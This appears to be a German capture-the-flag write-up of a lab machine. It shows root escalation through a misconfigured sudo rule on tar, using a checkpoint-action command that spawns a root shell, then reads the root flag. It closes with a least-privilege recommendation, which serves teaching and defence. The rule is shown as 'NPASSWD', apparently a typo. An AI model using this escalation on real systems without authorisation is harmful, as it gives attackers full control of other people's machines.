Voraussetzungen: Zugriff als Benutzer `zico`. Die fehlerhafte `sudoers`-Regel.

Schritt 1: Identifizierung der Sudo-Regel

Analyse: Der Befehl `sudo -l` als `zico` zeigt die Regel `(root) NPASSWD: /bin/tar`.

Schritt 2: Ausnutzung mit Checkpoint Action

Analyse: Der Befehl `sudo -u root tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh` wird ausgeführt.
Bewertung: `tar` wird als Root gestartet. Die Checkpoint-Optionen bewirken, dass nach dem (quasi nicht vorhandenen) ersten Record sofort der Befehl `/bin/sh` als Root ausgeführt wird.
Ergebnis des POC: Eine interaktive Root-Shell wird gestartet.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Niemals `tar` oder ähnlichen Tools, die externe Befehle ausführen können, uneingeschränkte `sudo`-Rechte geben, insbesondere nicht mit `NOPASSWD`. Rechte granular und nach dem Prinzip der geringsten Rechte vergeben.

Flags

Analyse: Die Root-Flag (`flag.txt`) wurde im `/root`-Verzeichnis gefunden. Eine User-Flag wurde im Text nicht explizit ausgelesen.
Bewertung: Die Root-Flag wurde erfolgreich extrahiert. Die Platzhalter am Ende des Textes werden ignoriert.

User-Flag wurde auf diesem Pfad nicht explizit gefunden.

# cd /root
# ls
flag.txt
# cat flag.txt
#
#
#
# ROOT!
# You did it! Congratz!
#
# Hope you enjoyed!
#
(Der obige Text ist die Flag)